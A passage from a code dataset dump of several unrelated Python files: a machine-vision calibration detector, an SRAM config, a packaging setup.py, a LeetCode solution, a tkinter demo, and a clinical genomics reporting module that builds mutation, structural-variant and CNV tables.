locate_calibration_object2(self):\n# src = self.parent.load_source()\n# w = 640\n# h = 480\n# x = (640 - w) / 2\n# y = (480 - h) / 2\n#\n# ox = 0\n# oy = 0\n# x += ox\n# y += oy\n# self.parent.show_image()\n#\n# src = crop(src, x, y, w, h)\n# src = grayspace(src)\n# self.image.frames[0] = colorspace(src)\n#\n# self.intercepts = []\n# for ti in range(40, 60, 1):\n# dst, lines = find_lines(src, ti, minlen=200)\n# if len(self.image.frames) == 2:\n# self.image.frames[1] = colorspace(dst)\n# else:\n# self.image.frames.append(colorspace(dst))\n#\n# clines = self.filter_calibration_lines(lines)\n#\n# # time.sleep(0.1)\n#\n# bins, edges = histogram(self.intercepts)\n# print self.intercepts\n# print bins\n# print edges\n# intercepts = []\n# for i, b in enumerate(bins):\n# if b:\n# intercepts.append(edges[i])\n#\n# cpoints = []\n# for i in range(len(intercepts)):\n# for j in range(len(intercepts)):\n# # print i, j, intercepts[i], intercepts[j]\n# d = abs(intercepts[i] - intercepts[j])\n# if int(d) and not d in cpoints:\n# cpoints.append(d)\n# print cpoints\n# draw_lines(self.image.frames[0],\n# [[(0, ci), (100, ci) ]for ci in self.intercepts])\n#\n# def filter_calibration_lines(self, ls):\n# if not ls:\n# return\n#\n# for l in ls:\n# if self._is_calibration_line(l, 0, tol=4.999):\n# # print l\n# m, b = self._get_coeffs(l)\n# print m, b\n# if b < 479:\n# print m, b\n# # print b\n# # self.intercepts.append(b)\n#\n# def _get_coeffs(self, l):\n# return polyfit([l[0], l[2]],\n# [l[1], l[3]],\n# 1)\n#\n# def _is_calibration_line(self, l, m, tol=0.01):\n# #calculate slope of line\n# dx = l[0] - l[2]\n# dy = l[1] - l[3]\n#\n# if abs(dx) < tol and m == 'inf':\n# return True\n#\n# # if abs(dx) > 0.0001:\n# mm = abs(dy / float(dx))\n# # if abs(mm - m) <= tol:\n# # print 'a', mm, m, tol\n# return abs(m - mm) <= tol\n\n def update_threshold(self, v):\n pass\n# src = self.image.frames[0]\n# self.image.frames[1] = threshold(src, v)\n\n#======== EOF ================================\n","sub_path":"src/machine_vision/detectors/zoom_calibration_detector.py","file_name":"zoom_calibration_detector.py","file_ext":"py","file_size_in_byte":10161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"179399991","text":"# Data word size\nword_size = 2\n# Number of words in the memory\nnum_words = 16\n\n# Technology to use in $OPENRAM_TECH\ntech_name = \"freepdk45\"\n# Process corners to characterize\nprocess_corners = [\"TT\"]\n# Voltage corners to characterize\nsupply_voltages = [ 1.1 ]\n# Temperature corners to characterize\ntemperatures = [ 25 ]\n\n# Output directory for the results\noutput_path = \"outputs\"\n# Output file base name\noutput_name = \"sram\"\n# Helpful if you have multiple SRAMs\n#output_name = \"sram_{0}_{1}_{2}\".format(word_size,num_words,tech_name)\n\n# Disable analytical models for full characterization (WARNING: slow!)\n# analytical_delay = False\n\n# To force this to use calibre for DRC/LVS/PEX\ndrc_name = \"calibre\"\nlvs_name = \"calibre\"\npex_name = \"calibre\"\n\nroute_supplies = True\ncheck_lvsdrc = False\n# This determines whether LVS and DRC is checked for every submodule.\ninline_lvsdrc = False\n","sub_path":"ee272-hw7/SramWrapper/design/sram/sramconfig.py","file_name":"sramconfig.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"262647684","text":"#!/usr/bin/env python\n#coding:utf-8\nfrom __future__ import unicode_literals\nfrom setuptools import setup, find_packages\nimport codecs\nimport sys\n\n\nif sys.version_info[0:2] < (2, 7):\n raise RuntimeError('Requires Python 2.7 or newer')\n\n\n# adds version to the local namespace\nversion = {}\nwith open('packtools/version.py') as fp:\n exec(fp.read(), version)\n\n\ninstall_requires = [\n 'lxml >= 3.3.4',\n 'picles.plumber >= 0.10',\n]\n\n\ntests_require = []\n\n\nsetup(\n name=\"packtools\",\n version=version['__version__'],\n description=\"Handle SPS packages like a breeze.\",\n long_description=codecs.open('README.md', mode='r', encoding='utf-8').read() + '\\n\\n' +\n codecs.open('HISTORY.md', mode='r', encoding='utf-8').read(),\n author=\"SciELO\",\n author_email=\"scielo-dev@googlegroups.com\",\n maintainer=\"Gustavo Fonseca\",\n maintainer_email=\"gustavo.fonseca@scielo.org\",\n license=\"BSD License\",\n url=\"http://docs.scielo.org\",\n packages=find_packages(),\n include_package_data=True,\n classifiers=[\n \"Development Status :: 4 - Beta\",\n \"Intended Audience :: Developers\",\n \"Programming Language :: Python :: 2.7\",\n \"Programming Language :: Python :: 3.3\",\n \"Programming Language :: Python :: 3.4\",\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n ],\n tests_require=tests_require,\n test_suite='tests',\n install_requires=install_requires,\n entry_points=\"\"\"\n [console_scripts]\n stylechecker = packtools.stylechecker:main\n packbuilder = packtools.packbuilder:main\n \"\"\")\n\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"527623871","text":"class Solution:\n def getLengthOfOptimalCompression(self, s: str, k: int) -> int:\n @lru_cache(None)\n def dfs(start, last, count, delete):\n if delete<0: return float('inf')\n if start==len(s): return 0\n if s[start]==last:\n # no need to delete in the middle since it is the same \n # if we delete at the beginning\n inc=1 if count==1 or count==9 or count==99 else 0\n return inc+dfs(start+1, last, count+1, delete)\n else:\n return min(dfs(start+1, last, count, delete-1), 1+dfs(start+1, s[start], 1, delete))\n return dfs(0, '', 0, k)\n\n","sub_path":"python/string-compression-ii.py","file_name":"string-compression-ii.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"410500253","text":"\"\"\"This module contains log messages\"\"\"\n\n\ndef __title(value, msg):\n \"\"\"Format log message\n\n Args:\n value: Title\n msg: Log Message\n\n Returns: Formatted log message\n \"\"\"\n title = '---------------< {} >---------------'.format(value)\n return '\\n{}\\n{}\\n{}'.format(title, msg, '-' * len(title))\n\n\n#\n# App Messages\n#\nAPP_STARTED = 'App Started!'\nAPP_FINISHED = 'App Finished! Time elapsed: {}'\nAPP_ARGS = 'App Args: {}'","sub_path":"src/utils/messages.py","file_name":"messages.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"561673340","text":"# von\n# https://praxistipps.chip.de/python-gui-programmierung-das-muessen-sie-wissen_95044\n\nfrom tkinter import *\n\nimport tkinter\n\n\ndef test1():\n print(\"Test1\")\n\n\nroot = Tk()\n\nroot.title(\"Test\")\n\nbutton1 = Button(text=\"Test\", bg=\"white\", fg=\"black\", command=test1)\nbutton1.grid()\n\nvar1 = IntVar()\n\ncheckbutton1 = Checkbutton(root, text=\"Test\", onvalue=1, offvalue=0, variable=var1)\ncheckbutton1.grid()\n\nradiobutton1 = Radiobutton(root, text=\"Test\", value=1)\nradiobutton1.grid()\n\nroot.mainloop()\n","sub_path":"gui/Abschnitt5.py","file_name":"Abschnitt5.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"322134529","text":"import json\nimport re\nimport subprocess\nimport traceback\nfrom collections import OrderedDict, defaultdict\nfrom os.path import join, dirname, abspath, relpath, basename, pardir, isfile\n\nfrom ngs_utils.file_utils import safe_mkdir\nfrom ngs_utils.logger import warn, err, info, debug\nfrom ngs_utils.reporting.reporting import MetricStorage, Metric, PerRegionSampleReport, ReportSection, \\\n calc_cell_contents, make_cell_td, write_static_html_report, make_cell_th, build_report_html, build_table_header_row\nfrom ngs_utils.utils import OrderedDefaultDict, is_us, is_uk, gray, is_travis, is_local\nfrom ngs_utils.reference_data import get_chrom_lengths, get_chrom_order\n\nfrom ngs_reporting.config import ngs_report_mutation_table_limit\nfrom ngs_reporting import version\nfrom ngs_reporting.clinical_report.combine_clinical_reporting_utils import add_freq_depth_records, group_for_venn_diagram, \\\n update_venn_diagram_data, save_venn_diagram_data, format_experiment_names, add_tooltip, get_group_num\nfrom ngs_reporting.utils import get_genes_from_file, get_bed_genes\nfrom ngs_reporting.vcf_utils import get_vcf_readers\nfrom ngs_reporting import SVEvent\nfrom ngs_reporting.reference_data import get_canonical_transcripts, get_key_genes_fpath_800, get_key_genes_fpath_300\nfrom az.ngb import get_ngb_link, get_ngb_link_template\n\n\ndef make_clinical_report(work_dir, genome, clinical_sample_info, key_gene_names, output_fpath,\n min_freq, act_min_freq, call_vis_html_fpath, skip_ngb=False):\n return ClinicalReporting(work_dir, genome, clinical_sample_info, key_gene_names,\n min_freq, act_min_freq, call_vis_html_fpath, skip_ngb=skip_ngb) \\\n .write_report(output_fpath)\n\n\nclass Chromosome:\n def __init__(self, name, length=None):\n self.name = name\n self.short_name = name[3:] if name.startswith('chr') else name\n self.length = length\n\n @staticmethod\n def build_chr_by_name(chrom_lengths):\n chr_by_name = OrderedDict(\n (chr_name, Chromosome(chr_name, length=l)) for chr_name, l in chrom_lengths\n if '_' not in chr_name) # not drawing extra chromosomes chr#_XXXXX\n return chr_by_name\n\n @staticmethod\n def get_cum_lengths(chromosomes_by_name):\n return [sum(c.length for c in list(chromosomes_by_name.values())[:i])\n for i in range(len(chromosomes_by_name.keys()) + 1)]\n\n\nclass ActionableVariant:\n def __init__(self):\n self.gene = None\n self.var_type = None\n self.status = ''\n self.freq = ''\n\n\nclass BaseClinicalReporting:\n def __init__(self, work_dir, genome, *args):\n chrom_lengths = get_chrom_lengths(genome)\n self.chromosomes_by_name = Chromosome.build_chr_by_name(chrom_lengths)\n self.work_dir = work_dir\n\n def make_mutations_report(self, mutations_by_experiment, ngb_link_tmpl=None, samples_data=None, parameters_info=None,\n create_venn_diagrams=False, cur_group_num=None, samples=None,\n ngb_tmpl_by_sample=None, ngs_rep_by_sample=None):\n full_names = []\n if len(mutations_by_experiment) == 1:\n ms = [\n Metric('Gene'), # Gene & Transcript\n Metric('AA len', max_width=50, class_='stick_to_left', with_heatmap=False), # 128\n Metric('AA chg', short_name='AA change', max_width=70, class_='long_line'), # p.Glu82Lys\n Metric('Position', with_heatmap=False, align='left', sort_direction='ascending'), # g.47364249\n Metric('Change', max_width=100, class_='long_line', description='Genomic change'), # G>A\n Metric('cDNA change', class_='long_line', description='cDNA change'), # G>A\n Metric('MSI', short_name='HP', description='Microsatellite instability length', quality='Less is better', with_heatmap=False),\n Metric('Status', short_name='Status'), # Somatic\n Metric('Effect', max_width=100, class_='long_line'), # Frameshift\n Metric('VarDict status', short_name='Significance', max_width=230, class_='long_line'), # Likely\n Metric('Databases'), # rs352343, COSM2123, SolveBio\n Metric('Samples', with_heatmap=False), # 128\n Metric('Other occurrences', class_='long_line', with_heatmap=False), # 128\n # Metric('ClinVar', short_name='SolveBio ClinVar'),\n Metric('Freq', short_name='Freq', max_width=55, unit='%', with_heatmap=False), # .19\n Metric('Depth', short_name='Depth', max_width=65, med=list(mutations_by_experiment.keys())[0].avg_depth, with_heatmap=False, description='Read depth at locus'), # 658\n Metric('Damage bias', short_name='Damage bias', description='Damage bias as reported by DKFZBiasFilter'),\n Metric('Indicentalome', short_name='Callability issues'),\n ]\n if samples:\n ms = [Metric('Sample', with_heatmap=False)] + ms\n\n else:\n ms = [\n Metric('Gene'), # Gene & Transcript\n Metric('AA chg', short_name='AA change', max_width=70, class_='long_line'), # p.Glu82Lys\n Metric('Effect', max_width=100, class_='long_line'), # Frameshift\n ]\n short_names, full_names = format_experiment_names(mutations_by_experiment, samples_data, cur_group_num)\n used_full_names = set()\n for index in range(len(short_names.values())):\n short_name = list(short_names.values())[index]\n full_name = list(full_names.values())[index]\n next_short_name = list(short_names.values())[index + 1] if index < len(short_names.values()) - 1 else ''\n if full_name in used_full_names:\n continue\n used_full_names.add(full_name)\n col_width = 40 + 15 * len(next_short_name.split())\n\n _get_class = lambda _name: ' '.join(['td_' + n for n in _name.lower().split(' ')])\n freq_name = full_name + ' Freq'\n depth_name = full_name + ' Depth'\n ms.extend([\n Metric(freq_name, short_name='\\n'.join(short_name.split()) + '\\nfreq', max_width=45, min_width=45,\n align='left', unit='%', with_heatmap=False, is_mandatory=True,\n td_class=_get_class(freq_name)), # .19\n Metric(depth_name, short_name='depth', min_width=col_width, align='left',\n med=list(mutations_by_experiment.keys())[0].avg_depth, with_heatmap=False, is_mandatory=True,\n td_class=_get_class(depth_name)), # 658\n ])\n ms.extend([\n Metric('Samples', with_heatmap=False), # 128\n Metric('VarDict status', short_name='Significance', max_width=230, class_='long_line'), # Likely\n Metric('Other occurrences', class_='long_line', with_heatmap=False), # 128\n # Metric('ClinVar', short_name='SolveBio ClinVar'),\n Metric('Indicentalome', short_name='Callability issues', class_='long_line'),\n Metric('Databases'), # rs352343, COSM2123, SolveBio\n Metric('Status', short_name='Status'), # Somatic\n Metric('Position', with_heatmap=False, align='left', sort_direction='ascending'), # g.47364249\n Metric('AA len', max_width=50, class_='stick_to_left', with_heatmap=False), # 128\n Metric('Change', max_width=100, class_='long_line', description='Genomic change'), # G>A\n Metric('cDNA change', class_='long_line', description='cDNA change'), # G>A\n Metric('MSI', short_name='HP', description='Microsatellite instability length', quality='Less is better', with_heatmap=False),\n Metric('Damage bias', short_name='Damage', description='Damage bias as reported by DKFZBiasFilter', quality='Less is better', with_heatmap=False),\n ])\n if parameters_info:\n for parameter_name in parameters_info.keys():\n ms.append(Metric(parameter_name, is_hidden=True))\n\n venn_sets = OrderedDefaultDict(int)\n\n samples_by_index, set_labels = None, None\n if create_venn_diagrams:\n samples_by_index, set_labels = group_for_venn_diagram(mutations_by_experiment, full_names, parameters_info, samples_data)\n\n clinical_mut_metric_storage = MetricStorage(sections=[ReportSection(metrics=ms, name='mutations')])\n report = PerRegionSampleReport(sample=list(mutations_by_experiment.keys())[0].sample,\n metric_storage=clinical_mut_metric_storage, expandable=True)\n\n # Writing records\n print_cdna = False\n muts_by_key_by_experiment = OrderedDefaultDict(OrderedDict)\n sample_experiments = []\n vcf_reader_by_e, filt_vcf_reader_by_e = None, None\n if samples_data:\n vcf_reader_by_e, filt_vcf_reader_by_e = get_vcf_readers(mutations_by_experiment, cur_group_num)\n for e, muts in mutations_by_experiment.items():\n if samples_data and (not cur_group_num or get_group_num(e.key) == cur_group_num):\n sample_experiments.append(e)\n for mut in muts:\n muts_by_key_by_experiment[mut.get_key()][e] = mut\n if mut.cdna_change.strip():\n print_cdna = True\n\n # canonical_mutations = [\n # [m.is_canonical if m is not None else False for m in muts]\n # for e, muts in mutations_by_experiment.items()]\n #\n # mut_positions = [m.pos for i, (e, muts) in enumerate(mutations_by_experiment.items())\n # for j, m in enumerate(muts) if m is not None and canonical_mutations[i][j]]\n\n ngb_work_dir = safe_mkdir(join(self.work_dir, 'ngb_tmp'))\n for mut_key, mut_by_experiment in muts_by_key_by_experiment.items():\n e, mut = next(((e, m) for (e, m) in mut_by_experiment.items() if m is not None), (None, None))\n if mut is None:\n continue\n\n row_class = ''\n # if mut.pos not in mut_positions:\n # mut_positions.append(mut.pos)\n # row = report.add_row()\n # row.add_record('Gene', mut.gene.name)\n # row_class = ' expandable_gene_row collapsed'\n # row.add_record('Position',\n # **self._pos_recargs(mut.chrom, mut.get_chrom_key(), mut.pos, mut.pos, jbrowser_link))\n # row.add_record('Change', **self._g_chg_recargs(mut))\n #\n # if len(mutations_by_experiment.values()) == 1:\n # row.add_record('Freq', mut.freq if mut else None)\n # row.add_record('Depth', mut.depth if mut else None)\n # else:\n # for e, m in mut_by_experiment.items():\n # row.add_record(e.key + ' Freq', m.freq if m else None)\n # row.add_record(e.key + ' Depth', m.depth if m else None)\n # row.class_ = row_class\n # self._highlighting_and_hiding_mut_row(row, mut, freq_in_samples)\n # if len(mutations_by_experiment) > 1 and len(mut_by_experiment.keys()) == len(mutations_by_experiment.keys()):\n # row.highlighted_green = True\n\n # if not mut.signif or mut.signif.lower() == 'unknown':\n # continue\n if len(mutations_by_experiment.values()) > 1 and \\\n (not mut.signif or mut.signif.lower() == 'unknown'):\n continue\n # if not mut.is_canonical:\n # continue\n if mut.is_silent:\n continue\n if sample_experiments and all(e not in sample_experiments for e in mut_by_experiment.keys()):\n continue\n elif sample_experiments:\n cur_experiments = [e for e in mut_by_experiment.keys() if e in sample_experiments]\n row = report.add_row()\n\n # comment_t = ''\n # if is_us() or is_uk() or is_local() or is_travis(): # add button to comment mutation\n # comment_t += '
'\n if samples:\n if ngs_rep_by_sample and mut.sample_name in ngs_rep_by_sample:\n ngs_report_link = ngs_rep_by_sample[mut.sample_name]\n val = '' + mut.sample_name + ''\n else:\n val = mut.sample_name\n row.add_record('Sample', val)\n row.add_record('Gene', **self._gene_recargs(mut, is_panel=e.genes_collection_type == 'target'))\n # if mut.is_canonical:\n # row.add_record('Transcript', mut.transcript)\n # row_class = ' expandable_gene_row collapsed'\n # else:\n # row.add_record('Transcript', mut.transcript)\n # row_class = ' row_to_hide row_hidden'\n # row.add_record('AA len', )\n row.add_record('AA chg', **self._aa_chg_recargs(mut))\n if ngb_tmpl_by_sample:\n ngb_link_tmpl = ngb_tmpl_by_sample.get(mut.sample_name)\n row.add_record('Position', **self._pos_recargs(ngb_work_dir, mut.chrom, mut.get_chrom_key(),\n mut.pos, ngb_link_tmpl=ngb_link_tmpl))\n row.add_record('Change', **self._g_chg_recargs(mut))\n if print_cdna:\n row.add_record('cDNA change', **self._cdna_chg_recargs(mut))\n if mut.msi > 3:\n row.add_record('MSI', mut.msi)\n if mut.status:\n row.add_record('Status', mut.status)\n row.add_record('Effect', mut.eff_type.replace(' variant', '') if mut.eff_type else None)\n row.add_record('VarDict status', **self._significance_field(mut))\n if mut.damage_biases:\n row.add_record('Damage bias', ', '.join(mut.damage_biases))\n if mut.incidentalome_reason:\n row.add_record('Indicentalome', value=mut.incidentalome_reason)\n # row.add_record('VarDict reason', mut.reason)\n row.add_record('Databases', **self._db_recargs(mut))\n # row.add_record('ClinVar', **self._clinvar_recargs(mut))\n\n if len(mutations_by_experiment.values()) == 1:\n row.add_record('Freq', mut.freq if mut else None)\n depth_str = str(mut.vd) + gray('/') + str(mut.depth)\n row.add_record('Depth', depth_str, num=mut.vd)\n else:\n add_freq_depth_records(row, mut, mut_by_experiment, full_names,\n cur_group_num, samples_data, parameters_info, vcf_reader_by_e, filt_vcf_reader_by_e)\n\n self._highlighting_and_hiding_mut_row(row, mut)\n\n if len(mutations_by_experiment.values()) > 1:\n row.class_ = row.class_.replace('incidentalome', '')\n if len(mut_by_experiment.keys()) > 1:\n # k = float(len(mut_by_experiment.keys())) / len(mutations_by_experiment.keys())\n # row.color = 'hsl(100, 100%, ' + str(70 + int(30 * (1 - k))) + '%)'\n row.class_ += ' multiple_occurences_row'\n if create_venn_diagrams:\n update_venn_diagram_data(venn_sets, mut_by_experiment, samples_by_index, full_names)\n\n if mut.in_main_table:\n row.class_ += ' in_main_table'\n if e.genes_collection_type == 'key':\n if mut.gene.is_az300:\n row.class_ += ' key300'\n if mut.gene.is_az800:\n row.class_ += ' key800'\n\n row.class_ += ' ' + row_class\n\n if create_venn_diagrams:\n venn_data = save_venn_diagram_data(venn_sets, set_labels)\n return report, venn_data\n\n return report\n\n @staticmethod\n def make_mutations_json(mutations_by_experiment):\n data = dict()\n\n for e, muts in mutations_by_experiment.items():\n d = dict(\n mutations=[]\n )\n muts = sorted((m for m in muts), key=lambda m: m.freq, reverse=True)\n for i, mut in enumerate(muts):\n d['mutations'].append(dict(\n x=i+1,\n geneName=mut.gene.name,\n chrom=mut.chrom, position=mut.pos, freq=mut.freq * 100,\n status=mut.signif,\n inMainTable=mut.in_main_table,\n mutType=mut.eff_type, aaChg=mut.aa_change, cdnaChange=mut.codon_change))\n d['minY'] = 0\n\n data[e.key.lower()] = d\n\n if len(mutations_by_experiment.keys()) == 1:\n return json.dumps(list(data.values())[0])\n else:\n return json.dumps(data)\n\n @staticmethod\n def make_substitutions_json(mutations_by_experiment):\n data = dict()\n nucleotides = ['A', 'C', 'G', 'T']\n changes = ['A>C', 'A>G', 'A>T', 'C>G', 'C>T', 'G>T']\n rc = {'A': 'T', 'C': 'G', 'G': 'C', 'T': 'A'}\n\n def _check_chg(nuc_, nuc2_):\n chg = nuc_ + '>' + nuc2_\n if chg not in changes:\n chg = rc[nuc_] + '>' + rc[nuc2_]\n return chg\n\n def _add_nuc(nuc_, substitutions):\n for nuc2_ in nucleotides:\n if nuc_ != nuc2_:\n substitutions[_check_chg(nuc_, nuc2_)] = 0\n\n for e, muts in mutations_by_experiment.items():\n d = dict(\n substitutions = OrderedDict()\n )\n for nuc in nucleotides:\n _add_nuc(nuc, d['substitutions'])\n for mut in muts:\n # if mut.signif in ['known', 'likely']:\n if mut.var_type == 'SNV' and mut.alt in nucleotides:\n d['substitutions'][_check_chg(mut.ref, mut.alt)] += 1\n d['maxY'] = max([d['substitutions'][s] for s in d['substitutions']])\n substitutions_sum = sum([d['substitutions'][s] for s in d['substitutions']])\n d['maxRate'] = d['maxY'] * 100.0 / substitutions_sum if substitutions_sum > 0 else 0\n d['minY'] = 0\n\n data[e.key.lower()] = d\n\n if len(mutations_by_experiment.keys()) == 1:\n return json.dumps(list(data.values())[0])\n else:\n return json.dumps(data)\n\n sv_type_dict = {\n 'BND': 'Fusion',\n 'INV': 'Invertion',\n 'INS': 'Insertion',\n 'DEL': 'Deletion',\n 'DUP': 'Duplication',\n }\n\n def make_sv_report(self, svs_by_experiment, ngb_link_tmpl=None):\n ms = [\n Metric('Genes', min_width=100),\n # Metric('Chr', with_heatmap=False, max_width=50, align='left', sort_direction='ascending'),\n Metric('Type', min_width=50),\n Metric('Location', with_heatmap=False, align='left', sort_direction='ascending', style=\"width: 550px\"),\n Metric('Transcript', align='left', style=\"width: 300px\"),\n Metric('Priority', is_hidden=True),\n Metric('Reads', is_hidden=True),\n # Metric('Status', with_heatmap=False, align='left', sort_direction='ascending'),\n # Metric('Effects', with_heatmap=False, align='left', class_='long_line'),\n ]\n\n if len(svs_by_experiment) == 1:\n ms.extend([\n Metric('Split read support', short_name='Split /', min_width=30),\n Metric('Paired read support', short_name='paired read support', min_width=50),\n ])\n else:\n for e in svs_by_experiment.keys():\n ms.extend([\n Metric(e.key + ' Split read support', short_name='Split /', min_width=30),\n Metric(e.key + ' Paired read support', short_name='paired read support', min_width=50),\n ])\n\n metric_storage = MetricStorage(sections=[ReportSection(name='main_sv_section', metrics=ms)])\n report = PerRegionSampleReport(sample=list(svs_by_experiment.keys())[0].sample,\n metric_storage=metric_storage, expandable=True)\n\n # Writing records\n svanns_by_key_by_experiment = OrderedDefaultDict(lambda : OrderedDefaultDict(SVEvent.Annotation))\n for e, svs in svs_by_experiment.items():\n known_cnt = 0\n exon_dels_cnt = 0\n fusions_cnt = 0\n other_cnt = 0\n for sv_event in svs:\n for an in sv_event.key_annotations:\n # reporting all known (fusion) by default\n if an.known:\n if e not in svanns_by_key_by_experiment[an.get_key()]:\n known_cnt += 1\n svanns_by_key_by_experiment[an.get_key()][e].update_annotation(an)\n\n # reporting all whole exon deletions\n elif sv_event.is_exon_deletion(an) and sv_event.is_prioritized(an):\n if e not in svanns_by_key_by_experiment[an.get_key()]:\n exon_dels_cnt += 1\n svanns_by_key_by_experiment[an.get_key()][e].update_annotation(an)\n\n # reporting fusions in the AZ priority genes\n elif sv_event.is_fusion() and sv_event.is_prioritized(an):\n if e not in svanns_by_key_by_experiment[an.get_key()]:\n fusions_cnt += 1\n svanns_by_key_by_experiment[an.get_key()][e].update_annotation(an)\n\n # # reporting all non-fusion events affecting 2 or more genes (start and end should not be the same gene. handling overlapping gene cases.)\n # elif sv_event.end_genes and all(ann_g not in sv_event.end_genes for ann_g in an.genes):\n # svanns_by_key_by_experiment[an.get_key()][e] = an\n # affecting_2_genes_cnt += 1\n\n else:\n other_cnt += 1\n\n debug(' known_cnt: ' + str(known_cnt))\n debug(' exon_dels_cnt: ' + str(exon_dels_cnt))\n debug(' fusions_cnt: ' + str(fusions_cnt))\n debug(' other_cnt: ' + str(other_cnt))\n\n ngb_work_dir = safe_mkdir(join(self.work_dir, 'ngb_tmp'))\n for sv_key, svann_by_experiment in svanns_by_key_by_experiment.items():\n sv_ann = next((s for s in svann_by_experiment.values() if s is not None), None)\n\n if not sv_ann or not sv_ann.event:\n continue\n\n row = report.add_row()\n\n row.add_record('Genes', '/'.join(set(sv_ann.genes)))\n\n type_str = BaseClinicalReporting.sv_type_dict.get(sv_ann.event.type, sv_ann.event.type)\n if sv_ann.effect == 'EXON_DEL':\n type_str += ' ' + sv_ann.exon_info\n sv_ann.priority = 2\n if sv_ann.priority == SVEvent.Annotation.KNOWN:\n type_str = 'Known fusion'\n else:\n row.class_ += ' depth_filterable'\n if sv_ann.event.read_support < SVEvent.min_sv_depth:\n row.class_ += ' af_less_threshold'\n row.hidden = True\n if type_str == 'Fusion':\n sv_ann.priority = 3\n\n row.add_record('Type', type_str)\n row.add_record('Priority', sv_ann.priority)\n\n if sv_ann.event.start:\n row.add_record('Location',\n **self._pos_recargs(ngb_work_dir, sv_ann.event.chrom, sv_ann.event.get_chrom_key(),\n sv_ann.event.start, sv_ann.event.end, end_chrom=sv_ann.event.chrom2,\n ngb_link_tmpl=ngb_link_tmpl))\n else:\n row.add_record('Location', None)\n\n row.add_record('Transcript', sv_ann.transcript)\n # row.add_record('Status', 'known' if any(a.known for a in sv.annotations) else None)\n # row.add_record('Effects', ', '.join(set(a.effect.lower().replace('_', ' ') for a in sv.annotations if a in ['EXON_DEL', 'FUSION'])))\n\n row.add_record('Reads', sv_ann.event.read_support)\n if len(svann_by_experiment.values()) == 1:\n row.add_record('Split read support', **self._reads_recargs(sv_ann.event.split_read_support))\n row.add_record('Paired read support', **self._reads_recargs(sv_ann.event.paired_end_support))\n else:\n for _sv_ann, m in svann_by_experiment.items():\n if _sv_ann:\n row.add_record(e.key + ' Split read support', **self._reads_recargs(_sv_ann.event.split_read_support))\n row.add_record(e.key + ' Paired read support', **self._reads_recargs(_sv_ann.event.paired_end_support))\n\n if any(an.known for an in svann_by_experiment.values()):\n row.highlighted = True\n\n if len(svann_by_experiment.keys()) == len(svs_by_experiment.keys()):\n row.highlighted_green = True\n\n return report\n\n def make_cnv_plot_json(self, experiment_by_key):\n data = dict()\n\n for experiment, events in experiment_by_key.items():\n if not events:\n continue\n # if len(e.seq2c_events_by_gene.values()) == 0:\n # data[k.lower()] = None\n # continue\n\n chr_cum_lens = Chromosome.get_cum_lengths(self.chromosomes_by_name)\n chr_cum_len_by_chrom = dict(zip([c.name for c in self.chromosomes_by_name.values()], chr_cum_lens))\n is_female = experiment.patient and experiment.patient.gender == 'F'\n\n d = dict(\n events=[],\n ticksX=[[(chr_cum_lens[i] + chr_cum_lens[i + 1]) // 2, list(self.chromosomes_by_name.values())[i].short_name]\n for i in range(len(self.chromosomes_by_name.keys()))],\n linesX=chr_cum_lens\n )\n\n for gene, event in events.items():\n if gene.chrom not in chr_cum_len_by_chrom:\n warn('Gene ' + gene.name + ' chromosome ' + gene.chrom + ' not found')\n elif is_female and event.chrom == 'chrY':\n continue\n else:\n d['events'].append(dict(\n x=chr_cum_len_by_chrom[gene.chrom] + gene.start + (gene.end - gene.start) // 2,\n geneName=gene.name,\n logRatio=event.log2r,\n ampDel=event.amp_del,\n fragment=event.fragment,\n isKeyGene=gene.is_key))\n\n # if not gene.seq2c_event.ab_log2r or gene.seq2c_event.fragment == 'BP': # breakpoint, meaning part of exon is not amplified\n\n d['maxY'] = max([e['logRatio'] for e in d['events']] + [2]) # max(chain(data['nrm']['ys'], data['amp']['ys'], data['del']['ys'], [2]))\n d['minY'] = min([e['logRatio'] for e in d['events']] + [-2]) # min(chain(data['nrm']['ys'], data['amp']['ys'], data['del']['ys'], [-2]))\n\n # if all(e['ampDel'] is None for e in d['events']):\n # d = None\n data[experiment.key.lower()] = d\n\n if len(experiment_by_key.keys()) == 1:\n return json.dumps(list(data.values())[0]) if list(data.values())[0] else None\n else:\n return json.dumps(data) if all(d is not None for d in data.values()) else None\n\n\n def make_cnv_report(self, cnv_by_experiments, genome, work_dir, samples_data=None, cur_group_num=None, ngb_link_tmpl=None):\n ms = [\n Metric('Gene', align='left', sort_direction='ascending'), # Gene\n Metric('Chr', with_heatmap=False, max_width=20, align='right', sort_direction='ascending'),\n Metric('Log ratio', med=0, quality='Less is better'), # for consistency with plot: red for amplifications, blue for deletions\n Metric('Amp/Del'),\n Metric('BP/Whole'),\n Metric('Log ratio (CNVkit)', med=0, quality='Less is better'),\n Metric('Amp/Del (CNVkit)', short_name='Amp/Del')\n ]\n if len(cnv_by_experiments.values()) > 1:\n if cur_group_num:\n ms = [\n Metric('Gene', align='left', sort_direction='ascending'), # Gene\n Metric('Chr', with_heatmap=False, max_width=20, align='right'),\n Metric('Amp/Del'),\n Metric('BP/Whole'),\n ]\n short_names, full_names = format_experiment_names(cnv_by_experiments, samples_data, cur_group_num)\n for index in range(len(short_names.values())):\n short_name = list(short_names.values())[index]\n full_name = list(full_names.values())[index]\n ms.append(Metric(full_name + ' log ratio', short_name='\\n'.join(short_name.split()) + '\\nlog ratio',\n med=0, quality='Less is better', align='left'))\n else:\n ms.append(Metric('Samples', max_width=25, align='left'))\n metric_storage = MetricStorage(sections=[ReportSection(name='cnv_section', metrics=ms)])\n\n report = PerRegionSampleReport(sample=list(cnv_by_experiments.keys())[0].sample,\n metric_storage=metric_storage, expandable=True)\n\n # Writing records\n cnv_by_key_by_experiment = OrderedDefaultDict(lambda : OrderedDefaultDict(dict))\n seq2c_found = [seq2c for (seq2c, cnvkit) in 